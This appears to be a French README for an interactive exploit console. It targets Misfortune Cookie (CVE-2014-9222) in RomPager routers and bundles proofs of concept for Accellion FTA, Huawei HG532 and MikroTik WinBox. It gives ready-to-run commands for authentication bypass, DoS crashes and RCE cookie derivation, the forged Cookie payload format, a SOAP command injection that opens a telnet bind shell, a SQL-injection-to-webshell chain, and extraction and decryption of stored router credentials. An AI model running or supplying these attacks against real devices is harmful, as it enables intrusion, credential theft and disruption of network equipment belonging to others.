
Suite de PoC interactive pour CVE-2014-9222 (Misfortune Cookie) et exploits de routeurs associés, proposant des modules de détection, de contournement d'authentification, de déni de service (DoS) et d'exécution de code à distance (RCE), avec un mode de scan pour plusieurs vulnérabilités.
Débordement de pile dans la gestion des cookies HTTP d'AllegroSoft RomPager (toutes les versions
< 4.34). Une seule requête non authentifiée avec un en-tête Cookie: forgé
corrompt la mémoire. Effets : contournement de l'authentification admin, DoS/redémarrage, et (avec
des offsets spécifiques au firmware) exécution de code à distance.
À utiliser uniquement sur du matériel vous appartenant ou que vous êtes explicitement autorisé à tester.
python3 main.py # puis définir une cible avec [1]
python3 main.py http://192.168.1.1
[1] Définir / changer de cible
[2] Empreinte de la cible
[3] Détecter la vulnérabilité (sûr, non destructif)
[4] Contournement de l'authentification (cookie magique)
[5] DoS / faire planter l'appareil (DESTRUCTIF)
[6] Aide RCE - dériver le cookie à partir des adresses du firmware
[7] Recherche dans le tableau modèle / cookie
[8] Scanner toutes les vulnérabilités (sonde)
[A] Chaîne Accellion FTA (CVE-2021-27101 / 27102)
[B] Huawei HG532 (CVE-2017-17215)
[C] MikroTik WinBox (CVE-2018-14847)
Chaque action affiche d'abord ce qu'elle va faire ; le DoS nécessite de taper YES. L'
empreinte par modèle (realm) est auto-détectée à partir de l'en-tête WWW-Authenticate
et comparée au tableau des cookies.
[8] sonde un hôte contre les quatre familles de vulnérabilités avec des
vérifications non destructives et affiche lesquelles sont joignables/probablement vulnérables :
python3 scan.py http://192.168.1.1
python3 scan.py http://192.168.1.1 --winbox-port 8291 --hg532-port 37215
Ensuite, exécutez l'entrée de menu correspondante ([3]/[4]/[A]/[B]/[C]) pour exploiter
celle qui est confirmée.
En plus de Misfortune Cookie, la console regroupe des PoC pour trois autres vulnérabilités courantes d'appareils embarqués/appliances :
[A] Accellion FTA (accellion_fta.py) - reproduit la chaîne UNC2546
décrite par Mandiant : récupérer le secret w1 via une injection SQL à travers un
en-tête Host forgé (/courier/oauth.api), puis déclencher admin.pl pour
écrire un webshell eval, et le vérifier. 27103 (SSRF) / 27104 (exécution de commande post-auth)
sont notés mais pas exercés par défaut.[B] Huawei HG532 (huawei_hg532.py) - POST SOAP vers
/ctrlt/DeviceUpgrade_1 avec $(<cmd>) dans NewStatusURL, authentification HTTP Digest
dslf-config:admin ; la commande par défaut ouvre un shell lié telnet sur 9999.[C] MikroTik WinBox () - lecture de fichier par traversée de répertoire
sur le protocole WinBox ; par défaut lit et
déchiffre les identifiants stockés ( XOR).Tous les PoC supplémentaires nécessitent une confirmation explicite dans la console.
python3 detect.py http://192.168.1.1 # vérification sûre
python3 auth_bypass.py http://192.168.1.1 # modèle auto-détecté
python3 auth_bypass.py http://192.168.1.1 --restore # réactiver l'authentification
python3 auth_bypass.py http://192.168.1.1 --all # essayer tous les cookies connus
python3 auth_bypass.py http://192.168.1.1 --brute # exhaustif (TRÈS lent, plante)
python3 dos.py http://192.168.1.1 # planter / redémarrer (DESTRUCTIF)
python3 rce/derive_cookie.py 0x803E9A40 0x803AB30D # adresses -> (num, pad)
Cookie: C<evilnum>=<pad "B" octets><payload>;
evilnum et pad sont spécifiques au firmware. evilnum indexe le
tableau de cookies de 0x28 octets de RomPager (C_Array + evilnum*0x28 + pad = adresse
écrasée). Le tableau par modèle fusionné depuis exploitdb 39739 et le module Metasploit
allegro_rompager_auth_bypass se trouve dans common.py.
Nécessite une image firmware exacte. Étapes (voir rce/README.md) : extraire le rootfs
avec binwalk, rétro-concevoir l'analyseur de cookies dans Ghidra pour trouver le delta
tampon -> $ra sauvegardé, dériver (num, pad) avec derive_cookie.py, valider le
shellcode MIPS contre une image émulée par QEMU avant de toucher la cible en direct.
auxiliary/scanner/http/allegro_rompager_misfortune_cookie
et auxiliary/admin/http/allegro_rompager_auth_bypass| Vulnérabilité | CVE | Ce que fait la sonde |
|---|
| RomPager | CVE-2014-9222 | Bannière HTTP + version vs 4.34 |
| Huawei HG532 | CVE-2017-17215 | Point de terminaison SOAP actif + realm Digest |
| MikroTik WinBox | CVE-2018-14847 | lecture de fichier WinBox en direct (identifiants extraits) |
| Accellion FTA | CVE-2021-27101/104 | Empreinte Accellion/oauth.api |
| Menu | CVE | Cible | Port |
|---|
[A] | CVE-2021-27101/27102 | Accellion FTA | 80 |
[B] | CVE-2017-17215 | Huawei HG532 | 37215 |
[C] | CVE-2018-14847 | MikroTik WinBox | 8291 |
mikrotik_winbox.pyflash/rw/store/user.datmd5(user + "283i4jfkai3389")| fichier | objectif |
|---|
main.py | console interactive |
ui.py | bannière + aides UI (header/info/warn/err/success/prompt/confirm) |
common.py | empreinte, constructeur de cookie magique, tableau par modèle (num, pad) |
detect.py | vérification de vulnérabilité non destructive (version + cookie canari) |
scan.py | sonde une cible contre les quatre familles de vulnérabilités (option 8) |
auth_bypass.py | contournement d'authentification par cookie magique avec auto-détection du realm |
dos.py | écrasement de pile par cookie surdimensionné -> redémarrage par watchdog |
accellion_fta.py | CVE-2021-27101/27102 SQLi -> chaîne webshell |
huawei_hg532.py | CVE-2017-17215 injection de commande SOAP |
mikrotik_winbox.py | CVE-2018-14847 lecture de fichier WinBox / extraction d'identifiants |
rce/derive_cookie.py | transformer C_Array + adresse cible en (num, pad) |
rce/README.md | méthodologie RCE complète + calculs d'exploitation |
rce/references/ | diapositives 31C3, livre blanc NCC, analyses démystifiées, tableaux de disposition |